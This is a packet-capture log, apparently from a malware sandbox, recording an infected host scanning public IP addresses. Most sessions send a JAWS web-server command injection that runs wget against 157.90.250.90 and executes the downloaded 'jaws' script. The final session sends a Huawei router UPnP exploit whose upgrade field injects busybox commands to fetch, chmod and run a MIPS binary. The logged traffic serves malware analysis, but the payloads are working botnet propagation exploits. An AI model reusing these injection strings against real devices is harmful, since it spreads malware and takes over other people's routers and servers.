Jan 2, 2024 06:23:52.371798992 CET	516	IN	HTTP/1.0 400 Bad Request Content-Type: text/html Content-Length: 349 Connection: close Date: Tue, 31 Aug 2021 07:32:07 GMT Server: lighttpd/1.4.39 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 - Bad Request</title> </head> <body> <h1>400 - Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.23	51964	49.232.101.104	23

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:52.552789927 CET	171	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 33 3a 35 31 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 3f 3f 3f 3f 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:23:51Auth Result: ????.

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.23	51986	49.232.101.104	23

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:53.204407930 CET	171	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 33 3a 35 32 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 3f 3f 3f 3f 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:23:52Auth Result: ????.

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.23	52002	49.232.101.104	23

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:53.944802999 CET	171	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 33 3a 35 33 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 3f 3f 3f 3f 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:23:53Auth Result: ????.

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.23	48022	125.229.151.239	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:54.655328989 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:23:54.964586020 CET	534	IN	Data Raw: 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 2f 6a 61 77 73 3b 73 68 2b 2f 74 6d 70 2f 6a 61 77 73 20 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 36 31 38 62 37 62 63 36 2d 35 37 64 38 2d 33 62 37 39 Data Ascii: 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 404 Not FoundServer: 618b7bc6-57d8-3b79-4fbf-da29de899e97Date: Tue, 02 Jan 2024 05:12:51 GMTCache-Control: no-cache,no-storeContent-Type: text/html; charset=%sConnection: close<HTML><HEAD

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.23	34120	38.181.35.219	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:54.670610905 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:23:54.973754883 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 02 Jan 2024 05:23:54 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.23	52014	49.232.101.104	23

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:54.716609955 CET	171	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 32 31 32 2e 31 30 32 2e 34 31 2e 32 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 31 2d 30 32 20 31 33 3a 32 33 3a 35 34 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 3f 3f 3f 3f 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 212.102.41.2MAC Address: Server Time: 2024-01-02 13:23:54Auth Result: ????.

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.23	45054	18.155.199.105	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:54.818569899 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:23:54.978420973 CET	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Tue, 02 Jan 2024 05:23:54 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.23	51226	108.186.100.209	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:54.821480989 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.23	38734	185.164.6.48	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:54.914292097 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:23:55.173170090 CET	509	IN	HTTP/1.1 400 Bad Request Date: Tue, 02 Jan 2024 05:23:55 GMT Server: Apache/2.4.18 (Ubuntu) Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 38 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 67 72 6f 77 69 74 68 79 2e 62 69 74 73 66 61 62 72 69 6b 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.18 (Ubuntu) Server at growithy.bitsfabrik.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.23	44810	190.167.115.162	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:55.091589928 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:23:55.274028063 CET	316	IN	HTTP/1.1 200 OK Content-Type:text/html; charset=UTF-8 Pragma:no-cache Cache-control:no-cache, no-store, max-age=0 Transfer-Encoding:chunked X-Frame-Options:SAMEORIGIN Connection:Keep-Alive X-XSS-Protection:1; mode=block Content-Security-Policy:default-src 'self' 'unsafe-inline' 'unsafe-eval'
Jan 2, 2024 06:23:55.274523973 CET	1286	IN	Data Raw: 64 33 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 Data Ascii: d39<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=ut
Jan 2, 2024 06:23:55.274539948 CET	1286	IN	Data Raw: 2d 31 29 20 3d 3d 20 27 3a 27 29 29 0d 0a 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0d 0a 20 20 20 20 7d 20 20 20 20 0d 0a 20 20 20 20 0d 0a 20 20 20 20 4c 69 73 74 20 3d 20 41 64 64 72 65 73 73 2e 73 70 Data Ascii: -1) == ':')) { return false; } List = Address.split(":"); if (List.length > 8) { return false; } for (var i = 0; i < List.length; i++) { if (false == IsIPv6AddressU
Jan 2, 2024 06:23:55.274992943 CET	861	IN	Data Raw: 0d 0a 65 6c 73 65 0d 0a 7b 0d 0a 76 61 72 20 4c 69 73 74 20 3d 20 48 6f 73 74 49 6e 66 6f 2e 73 70 6c 69 74 28 22 3a 22 29 3b 0d 0a 69 66 28 4c 69 73 74 2e 6c 65 6e 67 74 68 20 3e 3d 20 33 29 0d 0a 7b 0d 0a 2f 2a 20 69 6e 63 6c 75 64 65 20 74 77 Data Ascii: else{var List = HostInfo.split(":");if(List.length >= 3){/* include two or more than two ":" /if(true == IsIPv6AddressValid(HostInfo)){/ host string not include port */window.location="https://[" + HostInfo + "]:" + SSLPo

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.23	49624	104.82.113.61	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:55.139648914 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:23:55.364953995 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Tue, 02 Jan 2024 05:23:55 GMT Date: Tue, 02 Jan 2024 05:23:55 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 38 63 37 30 33 32 62 38 26 23 34 36 3b 31 37 30 34 31 37 33 30 33 35 26 23 34 36 3b 63 38 33 37 30 66 63 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.8c7032b8.1704173035.c8370fc</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.23	58400	119.77.165.60	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:55.158684015 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.23	52912	146.75.63.133	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:55.171236992 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:23:55.428246021 CET	162	IN	HTTP/1.1 400 Bad Request Connection: close Content-Length: 11 content-type: text/plain; charset=utf-8 x-served-by: cache-fco2270020 Data Raw: 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.23	34152	38.181.35.219	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:55.217292070 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:23:55.520407915 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 02 Jan 2024 05:23:55 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.23	48036	125.229.151.239	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:55.241744041 CET	511	IN	Data Raw: 28 6e 75 6c 6c 29 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 53 65 72 76 65 72 3a 20 61 61 35 36 65 38 34 65 2d 33 62 63 61 2d 63 37 30 36 2d 62 33 34 35 2d 62 64 36 64 39 31 37 35 66 35 38 39 0d 0a 44 61 74 65 3a 20 54 75 65 2c 20 30 Data Ascii: (null) 400 Bad RequestServer: aa56e84e-3bca-c706-b345-bd6d9175f589Date: Tue, 02 Jan 2024 05:12:52 GMTCache-Control: no-cache,no-storeContent-Type: text/html; charset=%sConnection: close<HTML><HEAD><TITLE>400 Bad Request</TITLE><

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.23	47442	121.36.115.249	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:55.420371056 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:23:55.749375105 CET	209	IN	HTTP/1.1 400 Illegal character SPACE=' ' Content-Type: text/html;charset=iso-8859-1 Content-Length: 70 Connection: close Data Raw: 3c 68 31 3e 42 61 64 20 4d 65 73 73 61 67 65 20 34 30 30 3c 2f 68 31 3e 3c 70 72 65 3e 72 65 61 73 6f 6e 3a 20 49 6c 6c 65 67 61 6c 20 63 68 61 72 61 63 74 65 72 20 53 50 41 43 45 3d 27 20 27 3c 2f 70 72 65 3e Data Ascii: <h1>Bad Message 400</h1><pre>reason: Illegal character SPACE=' '</pre>

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.23	55520	23.194.37.217	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:55.440501928 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:23:55.789649963 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Tue, 02 Jan 2024 05:23:55 GMT Date: Tue, 02 Jan 2024 05:23:55 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 63 65 37 30 65 37 33 31 26 23 34 36 3b 31 37 30 34 31 37 33 30 33 35 26 23 34 36 3b 31 33 31 38 65 62 62 64 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.ce70e731.1704173035.1318ebbd</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.23	53294	4.152.153.164	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:55.535212040 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.23	38386	142.58.163.96	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:55.563204050 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.23	58414	109.196.234.18	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:55.633320093 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.23	37532	156.254.98.90	37215

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:23:56.031359911 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
